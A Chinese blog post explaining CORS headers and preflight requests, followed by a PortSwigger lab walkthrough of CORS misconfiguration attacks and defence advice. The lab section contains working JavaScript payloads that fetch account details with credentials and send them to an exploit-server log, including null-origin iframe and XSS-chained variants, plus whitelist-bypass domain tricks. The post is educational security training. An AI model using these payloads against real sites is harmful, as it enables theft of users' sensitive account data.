跨源资源共享（CORS）

已于 2024-11-16 13:11:24 修改
阅读量1.4k 收藏 12
点赞数 13
分类专栏： HTTP安全 文章标签： CORS 网络安全 web安全 安全 HTTP PortSwigger 靶场 CORS 漏洞
于 2024-06-17 08:57:55 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_42451330/article/details/139731363
版权

一、跨源资源共享（CORS）介绍

        跨源资源共享（Cross-Origin Resource Sharing，CORS）是一种web标准技术，它允许一个网站的服务器来响应其他网站的请求，从而打破了同源策略的限制。通过CORS，浏览器可以接收到服务器的响应，并查看该响应头部的"Access-Control-Allow-Origin"字段，如果该字段的值允许，或者是"*"（表示接受所有域），浏览器才会处理响应。通过CORS策略网站可以分享其资源，而不必担忧安全问题。

二、受到同源策略影响的一些操作

        AJAX请求：同源策略会阻止使用XMLHttpRequest或Fetch API发起的跨域请求。

        DOM访问：来自不同源的网站不能访问彼此的DOM。

        Cookie，LocalStorage和IndexedDB：JavaScript不能读取到其他网站的数据。

        但请注意，同源策略并非所有Web行为都有影响。例如，<img>元素、<script>元素和<link>元素等可以加载任何网站的资源，这是因为这些操作并不会访问到其他源的文档或脚本。

三、简单请求示例

        某些请求不会触发 CORS 预检请求。如：

        1、GET、HEAD、POST方法

        2、除了被用户代理自动设置的标头字段

        3、Content-Type 标头所指定的媒体类型的值仅限于下列三者之一：（text/plain、multipart/form-data、application/x-www-form-urlencoded）

        4、请求中没有使用 ReadableStream 对象

        假如站点 https://foo.example 的网页应用想要访问 https://bar.other 的资源。foo.example 的网页中可能包含类似于下面的 JavaScript 代码：

const xhr = new XMLHttpRequest();
const url = "https://bar.other/resources/public-data/";
xhr.open("GET", url);
xhr.onreadystatechange = someHandler;
xhr.send();

        浏览器发送给服务器的请求报文：

Copy to Clipboard
GET /resources/public-data/ HTTP/1.1
Host: bar.other
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Connection: keep-alive
Origin: https://foo.example

        服务器响应:

HTTP/1.1 200 OK
Date: Mon, 01 Dec 2008 00:23:53 GMT
Server: Apache/2
Access-Control-Allow-Origin: *
Keep-Alive: timeout=2, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: application/xml

[…XML Data…]

四、预检请求示例

  1、执行预检请求的 HTTP 请求：

const xhr = new XMLHttpRequest();
xhr.open("POST", "https://bar.other/resources/post-here/");
xhr.setRequestHeader("X-PINGOTHER", "pingpong");
xhr.setRequestHeader("Content-Type", "application/xml");
xhr.onreadystatechange = handler;
xhr.send("<person><name>Arun</name></person>");

2、首次交互是预检请求/响应：

OPTIONS /doc HTTP/1.1
Host: bar.other
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Connection: keep-alive
Origin: https://foo.example
Access-Control-Request-Method: POST
Access-Control-Request-Headers: X-PINGOTHER, Content-Type
HTTP/1.1 204 No Content
Date: Mon, 01 Dec 2008 01:15:39 GMT
Server: Apache/2
Access-Control-Allow-Origin: https://foo.example
Access-Control-Allow-Methods: POST, GET, OPTIONS
Access-Control-Allow-Headers: X-PINGOTHER, Content-Type
Access-Control-Max-Age: 86400  //24 小时
Vary: Accept-Encoding, Origin
Keep-Alive: timeout=2, max=100
Connection: Keep-Alive

3、预检请求完成之后，发送实际请求/响应：

POST /doc HTTP/1.1
Host: bar.other
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Connection: keep-alive
X-PINGOTHER: pingpong
Content-Type: text/xml; charset=UTF-8
Referer: https://foo.example/examples/preflightInvocation.html
Content-Length: 55
Origin: https://foo.example
Pragma: no-cache
Cache-Control: no-cache

<person><name>Arun</name></person>
HTTP/1.1 200 OK
Date: Mon, 01 Dec 2008 01:15:40 GMT
Server: Apache/2
Access-Control-Allow-Origin: https://foo.example
Vary: Accept-Encoding, Origin
Content-Encoding: gzip
Content-Length: 235
Keep-Alive: timeout=2, max=99
Connection: Keep-Alive
Content-Type: text/plain

[Some XML payload]

五、涉及的HTTP 响应标头字段

1、允许浏览器访问的资源 

Access-Control-Allow-Origin: https://mozilla.org

2、getResponseHeader() 方法只能拿到一些最基本的响应头，使用下面的相应标头可以使浏览器获取其他响应头。

Access-Control-Expose-Headers: X-My-Custom-Header, X-Another-Custom-Header

3、指定了 preflight 请求的结果能够被缓存多久

Access-Control-Max-Age: <delta-seconds>

4、当浏览器的 credentials 设置为 true 时是否允许浏览器读取 response 的内容

Access-Control-Allow-Credentials: true

5、指定访问资源时允许的请求方法

Access-Control-Allow-Methods: <method>

6、指用于预检请求的响应。其指明了实际请求中允许携带的标头字段。

Access-Control-Allow-Headers: <header-name>

六、涉及的HTTP 请求标头字段

1、表明预检请求或实际跨源请求的源站。

Origin: <origin>

2、标头字段用于预检请求。将实际请求所使用的 HTTP 方法告诉服务器。

Access-Control-Request-Method: <method>

3、标头字段用于预检请求。将实际请求所携带的标头字段（通过 setRequestHeader() 等设置的）告诉服务器.

Access-Control-Request-Headers: <field-name>

七、简单跨站脚本攻击示例

1、假定存在一个网站 https://vulnerable-website.com，它允许来自任何源的 CORS 请求，也就是说它的服务器对任何请求都返回Access-Control-Allow-Origin: *响应头。

2、攻击者创建了一个恶意网站 https://evil.com，这个网站上有一段 JavaScript 代码，当受害者访问时，该代码会发送一个AJAX请求到 https://vulnerable-website.com。

3、如果受害者在访问恶意网站的同时，还保持着对https://vulnerable-website.com的登录状态，那么这个 AJAX 请求就会带上受害者对https://vulnerable-website.com的 cookies。

4、由于 https://vulnerable-website.com 允许来自任何源的请求，服务器就会处理这个带有受害者 cookies 的请求，并返回相应的数据。

5、恶意网站 https://evil.com 收到了这个响应，并可以通过 JavaScript 代码来读取响应数据，从而获取了受害者在 https://vulnerable-website.com 上的敏感数据。

八、PortSwigger 靶场实战

1、基本源反射的 CORS 漏洞（利用服务端不安全配置）

        某些应用程序需要提供对许多其他域的访问权限。维护允许的域列表需要持续的努力，任何错误都有可能破坏功能。因此，某些应用程序采取了简单的方法，即有效地允许从任何其他域进行访问。

（1）观察数据包，发现用户获取敏感信息的时候服务器使用了不安全的CORS配置。

Access-Control-Allow-Credentials: true

当浏览器的 credentials 设置为 true 时是否允许浏览器读取 response 的内容。

测试是否能反射传入的origin源，通过测试可以正常返回传入的源，接下直接利用

（2）构造攻击网站负载页面，内容为通过构造的前端页面自动访问目标页面获取受害者敏感信息。

url

https://exploit-0af0000e035f14a183b5ea0d01dd00e6.exploit-server.net/exploit

Head：

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8

Body:

hello word
<script>
    var req = new XMLHttpRequest();
    req.onload = reqListener;
    req.open('get','https://0ac5007403d0147b8327eb0000b200ba.web-security-academy.net/accountDetails',true);
    req.withCredentials = true;
    req.send();

    function reqListener() {
        location='/log?key='+this.responseText;
    };
</script>

（3）诱导攻击者访问构造的攻击网站

https://exploit-0af0000e035f14a183b5ea0d01dd00e6.exploit-server.net/exploit

（4）从日志获取敏感信息

2、Origin 标头白名单绕过（利用白名单匹配规则）

        实施 CORS 源站白名单时，经常会出现错误。一些组织决定允许来自其所有子域（包括尚不存在的未来子域）的访问。一些应用程序允许从其他各种组织的域（包括其子域）进行访问。这些规则通常是通过匹配 URL 前缀或后缀或使用正则表达式来实现的。实施中的任何错误都可能导致向意外的外部域授予访问权限。

（1）url后缀正则表达式绕错：例如

normal-website.com

  攻击者可能能够通过注册域来获得访问权限：

hackersnormal-website.com

（2）url前缀正则表达式绕错：例如

normal-website.com

攻击者或许能够使用以下域获得访问权限：

normal-website.com.evil-user.net

3、具有可信 null 源的 CORS 漏洞（利用origin为null）

当网站配置了不安全的 CORS 配置时，如：信任“null”源，存在CORS漏洞

（1）通过将Origin改为null进行测试，Access-Control-Allow-Origin返回null表示存在该漏洞。

（2）构造漏洞利用服务器 HTML（注意使用 iframe 沙盒，因为这会生成 null 源请求）

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
    var req = new XMLHttpRequest();
    req.onload = reqListener;
    req.open('get','YOUR-LAB-ID.web-security-academy.net/accountDetails',true);
    req.withCredentials = true;
    req.send();
    function reqListener() {
        location='YOUR-EXPLOIT-SERVER-ID.exploit-server.net/log?key='+encodeURIComponent(this.responseText);
    };
</script>"></iframe>

（3）诱导攻击者访问构造的攻击网站

4、受信任的不安全协议的 CORS 漏洞（利用受信任网站XSS绕过）

         即使 “正确” 配置了 CORS，也可以在两个源之间建立信任关系。如果网站信任易受跨站点脚本 （XSS） 攻击的源，则攻击者可以利用 XSS 注入一些 JavaScript，这些 JavaScript 使用 CORS 从信任易受攻击的应用程序的站点检索敏感信息。

1、通过检查源代码发现，当检查库存的时候会调用子域名的接口

2、访问给接口并尝试修改参数，发现修改参数后会报错并将错误直接展示在浏览器，如图：

3、尝试xss漏洞，发现能成功利用，如图:

4、开始构造攻击路径，首先构造攻击页面，诱导受害者访问攻击页面，进而加载带有xss漏洞的目标子网站，子网站将执行恶意xss代码 ，请求主域名的敏感数据，由于主网站cors配置了允许子域名，子域名网页将会正常接收并处理敏感数据，最终通过子域名执行script代码将敏感数据传回攻击机

攻击界面如下：

hello
<script>
    document.location="http://stock.YOUR-LAB-ID.web-security-academy.net/?productId=4<script>var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://YOUR-LAB-ID.web-security-academy.net/accountDetails',true); req.withCredentials = true;req.send();function reqListener() {location='https://YOUR-EXPLOIT-SERVER-ID.exploit-server.net/log?key='%2bthis.responseText; };%3c/script>&storeId=1"
</script>

受害者访问攻击页面：

 自动加载到子域名网站

最终通过脚本获取到敏感数据

九、如何防止 CORS 攻击

1、配置正确的跨域请求

如果 Web 资源包含敏感信息，则应在标头中正确指定源。

2、仅允许受信任的站点

未经验证就动态反映来自跨域请求的源很容易被利用，应避免使用

3、避免将 null 列入白名单

避免使用标题 null 来自内部文档和沙盒请求的跨源资源调用可以指定源

4、避免在内部网络中使用通配符

避免在内部网络中使用通配符。当内部浏览器可以访问不受信任的外部域时，仅信任网络配置来保护内部资源是不够的。

5、CORS 不能替代服务器端安全策略

CORS 定义浏览器行为，绝不能替代敏感数据的服务器端保护 - 攻击者可以直接伪造来自任何受信任来源的请求。因此，除了正确配置的 CORS 之外，Web 服务器还应继续对敏感数据应用保护，例如身份验证和会话管理。

跨源资源共享（CORS）策略
ZJQ的博客
07-23 216
CORS策略通过服务器配置的HTTP响应头来控制哪些跨域请求被允许。这既保护了网站资源不被恶意访问，也允许了合法的跨域请求，从而促进了Web应用之间的数据共享和交互。在配置CORS策略时，需要权衡安全性和灵活性，避免过度开放资源访问权限。
【项目开发】如何解决跨源资源共享（CORS）？
等风来
11-21 989
跨源资源共享标准新增了一组 HTTP 标头字段，允许服务器声明哪些源站通过浏览器有权限访问哪些资源。另外，规范要求，对那些可能对服务器数据产生副作用的 HTTP 请求方法（特别是 GET 以外的 HTTP 请求，或者搭配某些 MIME 类型的 POST 请求），浏览器必须首先使用 OPTIONS 方法发起一个预检请求（preflight request），从而获知服务端是否允许该跨源请求。服务器确认允许之后，才发起实际的 HTTP 请求。
后端解决跨域（Cross-Origin Resource Sharing）(三种方式)
weixin_53515812的博客
07-27 576
控制层的类上或者方法上加注解@CrossOrigin。
通过nginx配置解决跨源资源共享（CORS）漏洞
最新发布
爱米酱的博客
02-07 356
跨源资源共享（CORS）是一种机制，允许不同源之间的Web资源相互交互。在CORS不安全配置漏洞中，Web应用的服务器被误配置为允许来自任何来源的请求访问资源，或者错误地暴露敏感数据给不受信任的外部源。
跨域资源共享 CORS 详解
张erdan的博客
08-02 2980
CORS是一个W3C标准，全称是"跨域资源共享"（Cross-origin resource sharing）。 它允许浏览器向跨源服务器，发出XMLHttpRequest请求，从而克服了AJAX只能同源使用的限制。 本文详细介绍CORS的内部机制。 一、简介 CORS需要浏览器和服务器同时支持。目前，所有浏览器都支持该功能，IE浏览器不能低于IE10。 整个CORS通信过程，都是浏览器
Python-TheftFuzzer是一种工具可以模拟跨源资源共享CORS实现中常见的错误配置
08-10
Python-TheftFuzzer 是一个专门针对跨源资源共享（Cross-Origin Resource Sharing，简称CORS）实现错误配置进行检测的工具。CORS 是一种Web安全机制，允许浏览器在某些情况下从不同源加载资源，以放宽同源策略的限制...
CORS(Cross-Origin Resource Sharing) 跨域资源共享
weixin_34014277的博客
06-12 158
为什么80%的码农都做不了架构师？>>> ...
跨域访问技术CORS(Cross-Origin Resource Sharing)简介
weixin_34302798的博客
04-07 763
为什么要用CORS？ CORS是一个W3C标准，全称是"跨域资源共享"（Cross-origin resource sharing）。 它允许浏览器向跨源服务器，发出XMLHttpRequest请求，从而克服了AJAX只能同源使用的限制。 首先需要明白什么是Same-origin Policy呢？ 　　简单地说，在一个浏览器中访问的网站不能访问另一个网站中的数据，除非这两个网站具有相同的O...
【JavaScript】CORS（跨源资源共享）
好久不见的流星
02-25 2323
CORS是现代跨域解决方案的核心，通过在服务端设置响应头，实现了在浏览器中安全、可控地进行跨域请求。了解CORS的原理和使用步骤，对于处理跨域问题至关重要。在使用CORS时，注意设置合适的CORS头，处理带凭据的请求，以及对预检请求的正确响应。希望通过本篇博客，你对CORS有了更深入的了解，并能够在实际项目中应用这一现代跨域解决方案。
CORS -- 跨源资源共享(待补充)
HH_beibei的博客
01-10 270
例如，如果一个网站的资源位于https://haha.com，那么它就不能发出对https://xixi.com的请求，除非xixi.com允许跨域请求。同源限制指定Web服务器应该允许在网页上允许的脚本访问来自网页的源（托管网页的服务器的域名、协议和端口号）的数据，但应阻止脚本访问来自不同源的数据。如果服务器允许这个请求，他会发送一个状态码为200的响应，并在响应中发送Access-Control-Request-Method头，表示允许的方法列表。如果我们的请求是非同源的，将会受到以下限制。
跨域资源共享（CORS）问题与解决方案
Java领域优秀创作者
06-12 3441
跨域资源共享（CORS，Cross-Origin Resource Sharing）是现代web开发中常见且重要的一个概念。它涉及到浏览器的同源策略（Same-Origin Policy），该策略用于防止恶意网站从不同来源窃取数据。然而，在实际开发中，我们经常需要与不同源的资源进行交互，这就引发了跨域问题。本文将详细讨论跨域问题的产生原因、工作流程以及在Spring Boot后端和Axios前端环境中解决跨域问题的方法。
CORS(跨源资源共享)
IT新技术
05-02 874
目前为止,在Web应用程序中,可以通过使用JSON-P(基于安全因素的考虑而被受限使用)或设置一个自定义代理(安装与维护比较麻烦)的方法来实现跨域请求。 CORS(Cross-Origin Resource Sharing,跨源资源共享)是W3C小组制定的一个标准,它允许浏览器实现跨域通信。通过建立一个XmlHttpRequest对象,CORS允许开发者象实现同源请求那样实现跨源请求。 COR
什么是 CORS（跨源资源共享）？
qq_37116560的博客
05-11 2012
现代网页比以往任何时候都使用更多的外部脚本和资产。默认情况下，JavaScript 遵循同源策略，只能调用与运行脚本在同一域中的 URL。那么，我们怎样才能让我们的 JavaScript 支持的页面使用外部脚本呢？ CORS 就是答案。 跨源资源共享 (CORS) 是一种允许网页访问在不同受限域上运行的API或资产的方式的机制。 什么是 CORS？ 跨源资源共享 (CORS) 是一种浏览器...
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值